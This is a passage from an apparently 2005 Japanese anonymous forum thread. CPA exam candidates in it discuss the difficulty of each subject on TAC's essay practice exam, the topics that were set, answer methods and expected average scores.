TACは入門期のミニテストや実力テストの頃からテキスト・レジュメ見ながらやったり、
試験開始前に問題見たりとか何でもありだからな
そういう癖が染み付いてずっと抜けないやつが多いんだろう
そういう奴らは本試験でも同じことやるんじゃねえの?

493 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 16:32:50 ID:???
本試験で少しでも不正したら大変なことになるぞ。

494 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 17:53:47 ID:???
まぁカンニング組はどうせ本番の緊張した状態では実力発揮はムリでしょう。
受ける前から今年の短刀落ちケテーイ

495 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 19:33:33 ID:???
↑なんでたかが全答練に熱くなってんだ?w

496 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 20:13:36 ID:3RrboMBn
監査はボリュームが半端じゃなかったな

497 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 20:33:11 ID:???
>>490 
どこの校舎?
そんなんいるんだ

498 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 20:46:57 ID:aACPqYIC
全とういう名のつく答案練習だ。

499 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 21:01:53 ID:qsZoCuL7
全答練の採点厳しくない?


500 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 21:10:22 ID:???
皆さん全答練お疲レーショーン〜♪
そして華麗に500get

501 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 21:54:50 ID:???
今年、全体的に難易度低くない?
経済ちぃks

502 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 22:20:18 ID:qsZoCuL7
簡単だったの?


503 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 22:25:04 ID:???
監査激務図
原計意味不明
経済楽勝

504 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 22:31:02 ID:qsZoCuL7
経済できなかったよ

505 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 22:56:12 ID:???
>>503
6科目終了した段階で一番簡単なのは監査だと感じた。
そんなにヒネリもなく、誰でも暗記しているような基本的な出題も随所に
散りばめられていたと思うぞ。


506 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 23:01:42 ID:???
>>498
最初に開発した中国人の全答練(CHEN  TAO−RIENG)の
開発者としての功労に報いるために本人の名を冠しているんじゃなかったっけ?


507 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 23:06:10 ID:???
全答練は自分でできたと思っても案外点低いよ。
去年の経営が特にそうだった・・・・。

508 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 23:30:40 ID:imp89pnE
監査は書ききれなかった、という意見が多かった

509 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 23:35:54 ID:???
>>507
経営ってそういう傾向が強い科目でしょう。
科目自体が有する固有リスクって気がする。


510 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 23:37:56 ID:qsZoCuL7
今回の経済と簿記はどうよ?

511 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 23:40:40 ID:???
>>509
>科目自体が有する固有リスクって気がする。
確かに。今年の経営も全部埋めたけど、どのくらい点数くるか疑問。

去年の上位200位全科目の平均点も低かったからさ
今年は簡単に感じるけど平均低いのかな??
短答に特化してるんかもしれないけど・・・・。





512 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 00:15:15 ID:h6qxdacC
去年は全体の平均点が異常に低くなかった?
問題の難しさはそこまででもなかったが。

513 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 08:44:17 ID:???
ヤバイ
チコクシソウ…(>д<)

514 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 15:13:52 ID:3IBJ5LUp
商法どうだった??


515 ::2005/04/14(木) 15:15:05 ID:3IBJ5LUp
商法どうだった??


516 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 15:20:43 ID:???
粉飾請負人になるための第一関門

517 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 15:52:28 ID:3IBJ5LUp
ほんとに受かるのかなあ。。

518 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 16:21:39 ID:???
受かったら厨房に入って監査したいなー

519 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 17:56:51 ID:l75uCik4
商法良問だったと思う。

俺は、試験用六法を初めて用いて、時間的に撃沈。
条文引くのに、予想の3倍ぐらい時間がかかった。
慣れる以外に、速く引くコツあるのかな?

520 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 18:09:09 ID:3IBJ5LUp
第2問はTAC生にしかわからない論点 偏りがあったと思う

521 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 18:53:06 ID:???
oだけど、第二問平均ぐらいはできたと思うよ。
問題文がわかりにくかったけど。

522 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 19:03:48 ID:???
条文写すだけでしょ

523 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 19:22:34 ID:???
>>520
なんでタク生しかわからないんだ?もはや典型じゃないの

524 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 21:06:23 ID:???
Oにも似た論点がテキストに載ってるよ!

525 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 21:15:33 ID:???
>>497
関西です

526 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 22:24:38 ID:???
神Bにはいなかったと思うが…

527 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 22:33:38 ID:LwSSImMT
>>524

528 :一般に公正妥当と認められた名無しさん:2005/04/14(木) 22:34:14 ID:LwSSImMT
>>524 どこにあった??

529 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 00:26:28 ID:???
第13問はみんなばっちし?

530 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 00:27:48 ID:???
今年は若干難易度落としたのかな?


531 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 00:45:16 ID:???
商法は、264、265、266、266の3あたりが絶対でると
思ったのに。次回に出題かな。

532 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 00:55:09 ID:???
難しい→簡単
経済、材表、監査、簿記、原型、商法、経営

533 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 00:57:48 ID:???
何が出題されたか教えてくらさい。

534 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 01:17:41 ID:???
>>533
簿記は伝票+帳簿と外貨特商。
財表は一般基準と税効果。
経営はサイモンとアノマリー。
原計は標準、スループット、EVA。
監査は主体論、連結・中間。
経済は家計、企業、45°、H=O。
商法は同一性説、委員会。

535 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 01:20:15 ID:???
>>534

全く暇な奴だw

536 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 01:32:03 ID:???
連結(埋没)、moving strike convertible bond
自己株式&資産負債アプローチ(埋没)、
成果主義の欠点2つ、リターンリバーサルと投資家の心理、ネットとメディアの融合、買収の標的となる会社の特徴
総合原価計算(埋没)、最後のやつも埋没
中間監査の目的、5号意見、日本の監査の特徴
新古典派
合併・株式移転、監査法人は利益配当をなしうるか

537 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 05:42:03 ID:???
>>536

T全答練受けなかった他校生だけど、なんで連結と総合原計埋没なの?

538 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 09:24:13 ID:???
だめだ、監査がちっともできなかった


539 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 09:29:46 ID:???
俺、受けて良かった…
チャンネラーの情報の渦に呑み込まれる所だたよ…

540 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 10:02:42 ID:GCLK2mlT
全答練14時間×2回。
どうせなら全答練二回目+大原全答練の組み合わせがいいと思うんだが。

541 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 10:36:21 ID:???
どうせ短答で8割あぼーんなんだろ?

542 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 11:24:39 ID:???
簡単だったけど今回だけですよね?去年の見たんですけどもっと難しかったんですけど

543 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 13:24:35 ID:???
漏れはでき悪かったけど全科目平均はいった感じだから今んところはよしとしよ。

544 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 17:27:17 ID:???
今年初受験なんだけど、あれで簡単なんですか?
自分の無力を思い知りました・・

545 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 17:47:26 ID:???
まあ、大抵のヴェテにとっては赤子の手を捻るようなもんだったろう

546 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 17:50:53 ID:P5VTUFDf
↑てかそんなベテはとっとと受かって欲しい。っていってる俺が来年はベテかも…

547 ::2005/04/15(金) 18:41:21 ID:WbEprnWv
問題明かすな! 土日組みの点数あがるだろ!

548 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 19:09:01 ID:???
べテの俺の平均点予想
簿記 50+40
財表 50+50
経営 40+40
原計 50+40
監査 50+50
経済 50+50
商法 45+45
まあこんなところで。計算は去年よりも簡単だよな。
でも入門上がりもいるからもう少し下がるかもね

549 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 20:02:20 ID:???
理論で平均100ってすげくね?


550 ::2005/04/15(金) 20:13:00 ID:WbEprnWv
簿記の第2問難しくなかった?

551 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 20:29:13 ID:???
>>548
経済の平均低すぎ
120ぐらいだろ。

552 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 20:48:57 ID:WbEprnWv
あおるな

553 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 21:04:49 ID:???
全答練の受験率ってどれくらい?50%は軽く切ってるよね?TACボロ儲けじゃんw

554 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 21:12:40 ID:WbEprnWv
風邪ひいた・・不安だァ


555 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 23:02:05 ID:WbEprnWv
明日 土日組だね

556 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 23:48:14 ID:???
微妙に簿記が難しかったなー
平均80いかないんじゃない?

557 :一般に公正妥当と認められた名無しさん:2005/04/15(金) 23:48:43 ID:???
個別は簡単じゃなかった?

558 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 00:06:43 ID:5fPohA2Q
かりに去年の本試験の経済が全答練そのものだったら、平均点どのくらいだったかな?
合格者で経済ができる人は、150を余裕で超えたそうだけど。

559 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 00:08:09 ID:???
う〜む。
点数でしか議論できないところがもどかしい。
早く土日あけないかな。


560 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 00:11:16 ID:???
更にベテの俺が平均予想しますよ
( )は去年
簿記75(70)
財表70(56)
経営50(35)
原計70(59)
監査65(61)
経済80(68)
商法90(84)
こんなもんだろ。問題は確かに簡単だったけど
意外と平均はあがらんと思う。
てか全答より短答だろ


561 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 00:19:10 ID:???
>>560
去年の経営35ってなにこれ?
いかなる難問奇問珍問がでたの?


562 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 00:30:16 ID:???
>>561
経営の全答は毎年採点が超きつい。
今年も書きやすい問題だったけど
平均50もいかんかもしれん。
だから穴埋めできたかどうかの勝負になる
ちなみに俺は去年48点で700番ぐらいだったよ

563 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 00:37:13 ID:???
>>562
その分母(全受験者数)は何人だったの?


564 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 00:45:46 ID:???
民法ノケモノ…ショボーン

565 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 00:50:28 ID:???
合併が難しかった。商法

566 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 01:05:33 ID:???
>>562
3753人みたい
>>564
俺経済だから民法はわからん。
ごめんね


567 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 01:14:23 ID:???
>>566
トリビアのサンプル数算定について尋ねる教授はいつも違うんだけどいつも
「2000人調べれば信頼できる結果が得られるでしょう」っていうんだよね。
だから3000人以上のサンプルなら十分信頼できるデータだね。


568 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 02:22:46 ID:???
ノ・_・)ノ >tanassin


569 :a:2005/04/16(土) 15:32:26 ID:b3aHNHrP
土日組のみなさん 簿記どうでした??

570 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 20:15:59 ID:/yzlCi2S
一日目終了しましたねっ

571 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 21:05:47 ID:???
まさは「だいぶ余裕を持って解くことができた」って吹聴してたけど、本当かな?


572 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 21:08:23 ID:/yzlCi2S
簿記むずい

573 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 21:14:03 ID:???
1問目簡単そうだけど結構難しかったなあ。
問題文の理解とか、有価証券とかに時間とられた。

574 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 22:05:38 ID:popxGh5I
土日組と平日組って人数の割合はどんな感じ?

575 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 22:06:36 ID:popxGh5I
なんか俺のIDが素敵じゃないか

576 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 22:27:19 ID:/yzlCi2S
今日のできはみなさんどうでした??!

577 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 22:32:23 ID:???
原計がいまいちやったわ

578 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 22:35:36 ID:???
もう内容はなしてもいいんじゃないか

579 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 22:37:41 ID:???
原計の最後の理論(無形の科益)何書いた?
ライフサイクルコストの話じゃ駄目かな。

580 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 22:54:45 ID:???
どう考えても過去5年で一番簡単だったよな?

581 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 22:59:32 ID:???
あんまり、簡単簡単って書いてると
2回目が恐ろしい事になりそうだから止めてくれ・・・。

582 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 23:00:01 ID:/yzlCi2S
簿記の第2問どうですか??

583 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 23:22:36 ID:/yzlCi2S
というか難しい

584 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 23:30:04 ID:???
原型の最初の1問目って何法(先入等)?
生産状況っていわれても何も指示ねえし

585 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 23:35:23 ID:???
多分移動平均法

586 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 23:41:10 ID:???
漏れは(1)は「当期投入<減損発生点<期首仕掛」だったからFIFOで、
(2)は「当期投入<期首仕掛<減損発生点」だったから平均法でやった。


587 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 23:56:45 ID:???
俺は3年目だがそんな判断基準初めて聞いた。
普通知ってるものなのかね?

588 :一般に公正妥当と認められた名無しさん:2005/04/16(土) 23:58:12 ID:???
>>587
多分、新試験委員の鳥居対策と思う
関西タックではバッチリやってた

589 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 00:07:58 ID:???
>>588
クールビューティY?

590 :586:2005/04/17(日) 00:20:44 ID:???
>>587
漏れも全く知らないが、問題文を読むといかにも原価配分方法を減損の
発生点で判断しろと言わんばかりだったのでそうやった。


591 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 00:22:16 ID:G6xw0bBK
>>589
ノン
おっとりFの方

592 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 00:31:37 ID:???
>>586
なんでそうなるの?
理論的にワカラナイ

593 :586:2005/04/17(日) 00:44:33 ID:???
>>592
「当期投入<減損発生点<期首仕掛」ということは減損は当期投入分から
出ているということだから期首仕掛の原価が混入しないFIFOで、
「当期投入<期首仕掛<減損発生点」ということは減損は両方から出ている
ということだから両者が混ざる平均法でって発想。

あくまで漏れがそう勝手に判断しただけだからね。
正答は来週まで。


594 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 00:59:18 ID:???
>>586
正解だと思う。
俺は(1)は平均法で、(2)はFIFOでやったよ・・・

595 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 01:25:54 ID:99NXzE0C
全答練の原計の理論は、マニアックすぎない?
まあ今年は計算が一切なく理論オンリーという説もあるが。

ところで話は変わるけど、「過去に試験委員を務めたことのある学者を、数年のブランクを経て再度試験委員に任命する」ケースはあるのかな?

596 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 08:08:33 ID:???
>>586
納得できる説明ですね。問題解いてる際には全く気付かなかった。
>>595
過去3年だけですが、そのようなケースはなかったです。
もっと過去に遡ればあるかもしれませんね。

597 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 10:12:28 ID:???
安定発生どう解いた?広本の方法でいいんだよな?

598 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 11:41:54 ID:???
「安定発生」のキーワードを見つけたらまず台形で解くやり方だろ。

599 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 12:06:14 ID:???
平均発生も台形書くやつで解くの?

600 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 12:17:00 ID:qpU0oMqc
簿記 連結キャッシュどうでした??

601 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 12:30:07 ID:???
広本の方法は死ぬほどタックでやるけどさ、殆ど出ないよな

602 :592:2005/04/17(日) 12:32:11 ID:???
>>593
レス有難う〜納得した!!

603 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 18:09:39 ID:G0EhyIei
解答冊子ゲトー。

商法2問目の7パターン分類ができた人間てどのくらいいるんだろうか…

604 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 18:32:58 ID:SnrPiJS2
解説のテープっていつ配られるの?

605 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 18:48:29 ID:99NXzE0C
修正パーシャルプランのところ全部やっちまった....欝だ。
ところで監査第I問の最後だけど、「証取法が開示を求めている書類」には、
中間貸借対照表・中間損益計算書・中間キャッシュフロー計算書も含まれるんじゃないの?
問題文に、「個別ベースを前提とする」とはあるが「年度ベースを前提とする」とは書いてないから。

606 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 19:37:42 ID:???

それ、言ってた奴居たよー
でも、スペース的に・・・

607 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 21:12:27 ID:qpU0oMqc
経済どうだった?

608 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 21:13:57 ID:qpU0oMqc
商法の第2問難しかったですよね〜?

609 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 21:19:00 ID:???
7パターン全部書いとくれ

新設分割

610 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 21:57:36 ID:nDezolh3
B社にとって、
設立時の1現物出資2財産引受、
3事後設立
4新株発行の現物出資
5営業全部の譲渡
6営業の一部譲渡



611 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 22:00:15 ID:rRxh8HkM
>>610
5つゲット!
とはいえ2と3は一言ですましたぞ それ以上書けん・・・

612 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 22:03:36 ID:qpU0oMqc
大原にはその論点なかった気がするが。。。

613 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 22:15:00 ID:???
原計どーやった?
出来てたはずと思ったところが結構飛んでてがっくり。

614 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 23:16:29 ID:qpU0oMqc
どーなの 今年の難易度は

615 :一般に公正妥当と認められた名無しさん:2005/04/17(日) 23:45:13 ID:???
俺、新設分割しか書いてねーって!
しかもラスト3行くらいまでびっちり書いたし!1/7しか点数ねーのかよ!
ええーっ!まじでー!

616 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 00:05:51 ID:eAjQf0sk
商法2問目は阿倍レジュメに似たような問題があったけど
4つのパターンしか載ってなかったような。
4つは書けたけど。

617 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 00:19:32 ID:2Bp5WoKb
簿記 やや難
財表 普通
経営 普通
原計 難
監査 易
経済 普通
商法 やや難 あたりか
 

618 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 01:20:09 ID:???
去年と比較すると

簿記 やや易(一問目が簡単過ぎ。二問目は差つかず)
財表 やや易(短答論点多すぎ。ソフトウェア出るわけない)
経営 易(トピカル過ぎ。タックは知らないけど大原テキストなら易問)
原計 易(総合・標準は去年と比べたら楽過ぎ。理論もっと出せ。後半も易)
監査 やや難(去年が簡単過ぎ)
経済 やや易(アクセスベースで経済得意な人ならかなりの高得点)
商法 やや易(去年の答練で思っいきり出た。弥永対策で…)

619 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 02:00:17 ID:???
原計 易(総合・標準は去年と比べたら楽過ぎ。理論もっと出せ。後半も易)

これは嘘だろう


620 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 02:02:18 ID:???
標準は簡単だったけど、他は易と呼べるほど簡単でもなかったような希ガス。


621 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 08:31:40 ID:???
簿記の問い1って、減価償却とか採点箇所になってたな
なんか裏の意味あるのかと思ったよ

622 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 09:13:49 ID:???
ただのボーナスステージだろ。

623 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 09:37:51 ID:???
パの対楽天戦といったところか

624 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 18:32:34 ID:???
・資本維持は下駄はかせないと点数つかないくらい出来が悪いらしい。
・簿記は40+40あたりが平均らしい。
・経済は20+40あたりが平均らしい。
・経営は余計なこと書いて失点してる人が多いらしい。
・原計は既存設備の除却の効果を忘れてる人が多いらしい。

625 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 19:30:34 ID:bHX/4FGj
商法の模範解答って、分量的に無理がない?
2時間であそこまでは書ききれん。
それと第13問の自己株の消却だけど、「特定の者から買い受けるときは特別決議を要する云々〜」は蛇足じゃない?
あくまで「償却する際の」株主保護を聞いてるんじゃないのかな?


626 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 20:00:17 ID:???
任意消却とは自己株式取得が原則として禁止されていた時代に、会社が株主から
任意に株式を買い受けて遅滞なく消却手続を行うこと指していたらしい。
これを現行制度に当てはめると「自己株買い受け+取締役会決議で消却」となる。
だから歴史的経緯に鑑みたら、買い受けるところから消却手続が始まってると
いうことができる。

だから蛇足でもないんじゃないか。



627 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 20:42:22 ID:???
624はナニゲに信憑性あるよ宇泣きがする

628 :624:2005/04/18(月) 20:49:51 ID:???
>>627
ナニゲにじゃないって。
今日解答解説会に行って直に聞いたんだってばさ。


629 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 21:33:40 ID:???
簿記の平均そんなに低いんだ・・・

630 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 21:42:12 ID:???
>>629
本校受験者を採点したところの途中経過らしいぞ。
本校以外の受験者の出来がバツグンに良いのならもっと上がるであろ。


631 :627:2005/04/18(月) 22:13:34 ID:???
>>628
そうだったのか
疑ってごめん。情報ありがとう。

632 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 22:57:18 ID:???
平均低いな・・・
まあそんなものなのかもしれない
ちょっと安心したよ

633 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 23:00:14 ID:???
みんな原計できた?
漏れは
 @正常仕損の正常品への負担忘れ
 Aボックスの数値書き間違い
 B差額利益0
 C時間切れ

こいつをどう思う?


634 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 23:41:30 ID:???
おいらは原計110くらい
振替ネタは全部落としたけど、第一問の数字は全部あってた

>>633
おいらも差額利益ゼロにしたよ

635 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 23:50:26 ID:???
>>634
減損発生点80%の問題よく当てたね。
解答見たが、あんなややこしいやり方みたの初めてだったし。
安定発生のパターンとほとんど同じような解法じゃなかった?

たとえ試験中に思いついても泥沼にはまりそうで手をだせなかったよ。


636 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 23:55:28 ID:QVP5mDNG
>>633
オイラは、修正パーシャルプランだってのに何をとち狂ったか普通のパーシャルプランで記入しちまったよ....。
本番でなくてよかった、と思うしかない。

637 :一般に公正妥当と認められた名無しさん:2005/04/18(月) 23:56:53 ID:???
>>635
大原生なんで解いた事あったんよ

てゆーか合計で何点くらい取れば合格レベルなの?

638 :一般に公正妥当と認められた名無しさん:2005/04/19(火) 00:35:11 ID:???
>>636
漏れもそう思いたいな。
ボックスに書く数値を写し間違えたのなんて初めてだったよ。すごくショック。
やっぱ緊張してたのかなぁ。

>>637
原計については今日の解答解説会でも点数について特に言及していなかった
ので合格レベルは分からない。
結果を待つしかないけど、簿記の第一問で60点取れてたら上位だと言われて
たので、その感覚を原計に類推すると110点はイイ線行ってるんじゃないかあなぁ。

>大原生なんで解いた事あったんよ
問題文のどのキーワードからその「解いた事あった」パターンだと気づいたの?


639 :一般に公正妥当と認められた名無しさん:2005/04/19(火) 22:41:28 ID:???
本校は日大のせいで平均は低いんだってさ

640 :一般に公正妥当と認められた名無しさん:2005/04/20(水) 00:14:00 ID:???
>>639

日大生なんて本校に10人もいないだろ?俺は見たことないぞ。
周りから判断するに、早慶5:MARCH3:東一2:その他1って漢字だと思うんだけど。

641 :一般に公正妥当と認められた名無しさん:2005/04/20(水) 04:07:32 ID:7G51kMO8
ふぇん計は難点から名前載りますかね?

642 :一般に公正妥当と認められた名無しさん:2005/04/20(水) 20:31:53 ID:???
>>641

おれは去年数字は全部合ってたが、それでも名前は
のらなかったよ。そんな感じ。

643 :一般に公正妥当と認められた名無しさん:2005/04/20(水) 20:58:10 ID:???
>>641
去年は一回目が113点から、二回目が167点からだったよ
今年の難易度だとどうだろ。

644 :一般に公正妥当と認められた名無しさん:2005/04/21(木) 23:57:02 ID:???
差額利益がゼロになったよw
内部振替価格が市価基準なら受入事業部にとっては自製も購入も無差別じゃ
ねーのかよ orz...


645 :一般に公正妥当と認められた名無しさん:2005/04/22(金) 00:32:24 ID:???
俺もそうした…

646 :一般に公正妥当と認められた名無しさん:2005/04/22(金) 22:41:38 ID:???
M&Aって、なんでトピカルなの?はやってるの?

647 :一般に公正妥当と認められた名無しさん:2005/04/22(金) 23:17:48 ID:???
M&AはとってもトロピカルだYO!


648 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 22:09:59 ID:???
ホリエモン

649 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:09:45 ID:???
M&M

650 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:10:41 ID:???
B&B

651 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:12:05 ID:???
P&G


652 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:12:58 ID:???
バツ&テリー

653 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:15:38 ID:???
サイモン&ガーファンクル

654 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:16:44 ID:???
ジョソンソ&ジョソンソ

655 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:20:13 ID:???
砂川捨丸&豊年斎梅坊主

656 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:20:52 ID:???
サムソン&デリラ


657 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:22:32 ID:tfsyaF+M
スタスキー&ハッチ

658 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:23:09 ID:???
&G

659 :一般に公正妥当と認められた名無しさん:2005/04/23(土) 23:59:19 ID:???
テツ&トモ


660 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 01:02:28 ID:DRpYJoaS
タッキー&…ごめん、ショボかった

661 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 01:05:10 ID:???
ジュン&ネネ


662 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 01:43:21 ID:???
プロクター&ギャンブル

663 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 02:36:27 ID:???
全答練2回目が7月に変更なった理由を知っている人いますか?
(自己採点で)短答駄目と思われるやつは,全答練試しで受けずに,はよー来年度に向け始動せよという,ありがたい措置なのでしょうか。。

664 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 06:30:34 ID:???
どうせ、引越しがらみのTACの事務的な都合なんじゃないの?

665 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 07:51:49 ID:???


666 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 09:43:55 ID:rAy1HPwW
>>663
短答発表前→発表後へと変更になったんでしょ?
短答落ちの人は7月は勉強しないケースが多いから、発表後にすることで
受験者数を減らし、採点の手間を省きたいということかな?
ただ、2回目だけを受けるはずだった人(主に他校生)が受けなくなって申込者減→収入減というマイナス要素もあるが。

667 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 11:37:18 ID:???
漏れが採点講師だっら収入減より答案が千枚減る方を選ぶ。

668 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 11:46:48 ID:ZsvaJ6rH
具体的な日にちを知ってたら教えてくれますか?

669 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 11:57:23 ID:???
たしか七夕がからんでいたような…

670 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 12:22:39 ID:???
発表後試験は、逆転の発想でいいアイデアだと思うよ。
短答落ちが母集団に混ざっているよりは、よっぽど成績に信憑性がある。
短答落ちが受けていても、短答合格者のみの得点集計も可能だ。
採点人数も減って丁寧に採点できるしいいことずくめ。

671 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 12:52:50 ID:ZsvaJ6rH
>>669
ありがとう!
てことは1週間か2週間ずれたことになるのね。

672 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 12:58:11 ID:???
>>671
日程変更は一週間近くに発表されてる。
ずれたのは二週間。7/5・6・7&7/9・10。

>>670
採点中に短答合格者が確定するから集計のときには
従来の日程でも短答合格者のみの集計・統計は普通に可能。
よって採点者の負担軽減が主目的では。

673 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 13:56:19 ID:???
去年の論文式全答練2回目の受験者数は何人くらいだったの?
参考までに教えてチョンマゲ!

